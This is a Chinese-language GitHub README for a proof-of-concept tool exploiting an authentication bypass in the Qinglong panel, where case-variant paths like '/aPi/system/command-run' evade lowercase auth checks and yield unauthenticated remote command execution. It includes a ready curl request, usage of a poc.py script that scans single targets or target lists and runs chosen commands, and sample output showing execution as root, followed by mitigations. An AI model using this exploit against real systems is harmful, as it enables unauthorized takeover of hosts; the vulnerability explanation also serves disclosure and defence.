MaxMnMl/qinglong-auth-bypass-to-rce-poc
GitHub: MaxMnMl/qinglong-auth-bypass-to-rce-poc
针对青龙面板路径规范化缺陷导致的认证绕过与远程命令执行漏洞的检测与概念验证工具
Stars: 0 | Forks: 0
# Qinglong 认证绕过致命令执行
利用 Qinglong API 路由中路径规范化/大小写处理缺陷的概念验证,可能允许未认证行为者通过大小写变体路径访问特权命令执行端点 (`/api/system/command-run`)。
如果暴露在网络中,这可能导致 **未认证远程命令执行**。
## 漏洞详情
该绕过源于认证逻辑中不一致的大小写敏感检查,结合 Express 中不区分大小写的路由匹配。
### 1. `back/loaders/express.ts` 中的白名单正则
```
path: [...config.apiWhiteList, /^\/(?!api\/).*/]
```
此正则严格检查小写的 `api`。
任何不以小写 `/api/` 开头的路径都可以绕过 JWT 检查路径。
### 2. 自定义认证中间件使用严格小写前缀检查
```
if (!['/open/', '/api/'].some((x) => req.path.startsWith(x))) {
return next();
}
```
中间件也使用 `req.path.startsWith(...)` 执行严格的小写匹配。
因此像 `/API/...` 这样的路径不匹配 `/api/`,并被直接允许通过。
### 3. Express 路由默认不区分大小写
```
app.use(config.api.prefix, routes());
```
即使认证检查仅拒绝小写模式,Express 仍然可以将 `/API/...` 解析到与 `/api/...` 相同的处理程序系列(默认不区分大小写行为),从而造成认证绕过。
## 受影响版本
- 受影响版本:**2.20.1 之前**
- 修复版本:**待定**
## PoC
```
curl -X PUT "http://localhost:5700/aPi/system/command-run" \
> -H "Content-Type: application/json" \
> -d '{"command": "id"}'
```
## 自动化脚本 `poc.py`
- 检测 Qinglong 目标 (`/api/health`, `/api/system`)
- 测试已知的大小写变体 command-run 路径
- 执行由 `-c` 提供的命令并报告响应
单个目标:
```
python3 poc.py -t -c 'whoami'
```
目标列表 (JSON 输出格式):
```
python3 poc.py -l targets.txt -c 'whoami' --json -o result.json
```
结果:
```
[*] Target: http://127.0.0.1:5700
[+] Qinglong detected (version: 2.20.0)
[+] RCE success via /aPi/system/command-run
root
```
```
[
{
"target": "http://localhost:5700",
"reachable": true,
"version": "2.20.0",
"rce": {
"success": true,
"path": "/aPi/system/command-run",
"output": "root"
}
}
]
```
## 影响
成功利用可能导致:
- 在 Qinglong 主机上下文中远程执行命令
- 泄露或修改应用/运行时数据
- 根据主机权限和网络设计,可能进行横向移动
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - Critical 10.0
## 缓解措施
- 在可用的 Qinglong 修复版本发布后进行升级。
- 在授权检查之前规范化 URL 路径。
- 在中间件和反向代理中强制执行严格、大小写一致的路由处理。
- 仅将管理/API 访问限制在受信任的网络中。
- 针对大小写变体端点访问添加回归测试。
## 参考
https://github.com/whyour/qinglong/issues/2934
## 免责声明
此工具仅用于授权的安全测试。未经授权访问计算机系统是非法的。
标签:API安全, CISA项目, CVE, Express安全, GNU通用公共许可证, JSON输出, Node.js, PoC, QL, RCE, SDLC, 中间件漏洞, 命令注入, 大小写敏感, 数字签名, 无服务器架构, 暴力破解, 未授权访问, 编程工具, 网络安全, 路径规范化, 路由漏洞, 身份验证绕过, 远程代码执行, 逆向工具, 鉴权绕过, 隐私保护, 青龙面板